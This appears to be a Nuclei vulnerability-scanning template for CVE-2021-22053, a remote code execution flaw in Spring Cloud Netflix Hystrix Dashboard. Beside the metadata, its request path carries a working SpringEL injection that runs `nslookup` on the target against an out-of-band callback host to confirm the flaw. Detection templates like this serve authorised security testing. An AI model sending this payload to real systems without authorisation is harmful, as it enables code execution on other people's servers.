38 lines
1.4 KiB
YAML
38 lines
1.4 KiB
YAML
id: CVE-2021-22053
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info:
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name: Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution
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author: forgedhallpass
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severity: high
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description: |
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Spring Cloud Netflix Hystrix Dashboard prior to version 2.2.10 is susceptible to remote code execution. Applications using both `spring-cloud-netflix-hystrix-dashboard` and `spring-boot-starter-thymeleaf` expose a way to execute code submitted within the request URI path during the resolution of view templates. When a request is made at `/hystrix/monitor;[user-provided data]`, the path elements following `hystrix/monitor` are being evaluated as SpringEL expressions, which can lead to code execution.
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reference:
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- https://github.com/SecCoder-Security-Lab/spring-cloud-netflix-hystrix-dashboard-cve-2021-22053
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- https://tanzu.vmware.com/security/cve-2021-22053
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- https://nvd.nist.gov/vuln/detail/CVE-2021-22053
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2021-22053
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cwe-id: CWE-94
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tags: rce,spring,cve,cve2021
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requests:
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- method: GET
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path:
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- '{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("nslookup {{interactsh-url}}")}__::.x/'
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "dns"
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- type: status
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status:
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- 500
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# Enhanced by mp on 2022/06/27
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